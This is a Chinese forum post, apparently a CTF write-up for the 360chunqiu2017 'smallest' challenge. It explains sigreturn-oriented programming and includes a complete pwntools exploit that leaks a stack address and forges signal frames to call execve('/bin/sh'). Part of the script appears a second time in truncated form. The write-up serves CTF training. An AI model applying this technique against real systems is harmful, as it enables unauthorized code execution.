-
-
[原创]【360chunqiu2017】smallest
-
发表于: 2022-4-28 18:48 14433
-
基于sigreturn的系统调用的rop利用手段
signal机制是linux系统下的软中断,大概如下图
主要目的是为了保存进程的信息,以便于恢复。有点类似学习递归的时候教练喊的恢复现场
我们利用的主要是3,4过程,即恢复过程
以X86为例(因为X64放不下)
恢复过程主要是pop一系列的寄存器:
好家伙还挺齐全
恢复过程主要是把signalframe上的这些东西pop进去,那如果我们能够伪造,岂不是可以控制寄存器?!美汁汁儿~
由于恢复过程没有严格检查,它甚至没有检查这个signalframe(栈上保存进程信息的那段空间)和之前的是不是同一个,所以我们可以伪造signalframe,通过系统调用sigreturn来控制寄存器
好家伙,《简单题》
开局一个read,其它系统调用全靠硬整
我们最后的目的肯定是调用system或者execve的系统调用(因为这题甚至没给libc文件,就只能考虑系统调用了,没开沙箱用orw纯纯的自己找麻烦)
那么肯定是需要控制寄存器的,main里连个rdx都没有,所以考虑用sigreturn的系统调用控制寄存器
然后还需要知道栈地址,因为需要往sigreturn里面的rdi放'/bin/sh'的地址
泄露栈地址就需要write的系统调用,我们发现read的返回值是读入的字节数,那么如果我们可以让它读1个字节,并且返回到”xor rax,rax“的下一位,那么就可以调用write了。巧就巧在这两个可以同时进行,我们直接读两个函数的起始地址,然后第二次send”xor rax,rax“的下一位地址的低字节,正好就可系统调用write了。
这题还须通过read字符来系统调用sigreturn,也非常巧,基本上是这样:
对于第一次read,send start + ’a‘*8 + fake_sigframe
此时rsp的地址是start,read完后会ret start继续下一次read
这次read send syscall_ret + 'a'*7,即可完成sigreturn的系统调用
from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
##r = remote("chuj.top", 51904)
##proof_of_work(r)
start
=
0x4000B0
syscall_ret
=
0x4000be
r
=
process(
'./smallest'
)
def
z():
gdb.attach(r)
## primary_set
pd
=
p64(start)
*
3
r.send(pd)
## leak_stack
r.send(
'\xb3'
)
r.recv(
8
)
stack
=
u64(r.recv(
8
))
log.success(
'stack:'
+
hex
(stack))
## sigret_syscall_read
sig
=
SigreturnFrame()
sig.rax
=
constants.SYS_read
sig.rdi
=
0
sig.rsi
=
stack
sig.rdx
=
0x400
sig.rsp
=
stack
sig.rip
=
syscall_ret
##link the syscall of read
pd
=
p64(start)
+
'a'
*
8
+
str
(sig)
r.send(pd)
pd
=
p64(syscall_ret)
+
'a'
*
7
z()
r.send(pd)
sleep(
1000
)
sig
=
SigreturnFrame()
sig.rax
=
constants.SYS_execve
sig.rdi
=
stack
+
0x120
sig.rsi
=
0
sig.rdx
=
0
sig.rsp
=
stack
sig.rip
=
syscall_ret
##link the syscall of execve
pd
=
p64(start)
+
'b'
*
8
+
str
(sig)
l
=
len
(pd)
pd
+
=
(
0x120
-
l)
*
'\x00'
+
'/bin/sh\x00'
r.send(pd)
pd
=
p64(syscall_ret)
+
'b'
*
7
r.send(pd)
r.interactive()
from
pwn
import
*
from
LibcSearcher
import
*
from
pwnlib.util.iters
import
mbruteforce
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch
=
'amd64'
context.os
=
'linux'
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- 西湖论剑2024 IOT赛后复盘及mqtt rce详解 13831
- 对某嵌入式设备声波配网的研究 11920
- DAS10月月赛PWN出题心路&&CVE-2023-40930的介绍 11355
- [原创]关于Nokelock蓝牙锁破解分析 21864
- [原创]基于树莓派的蓝牙调试环境搭建 24487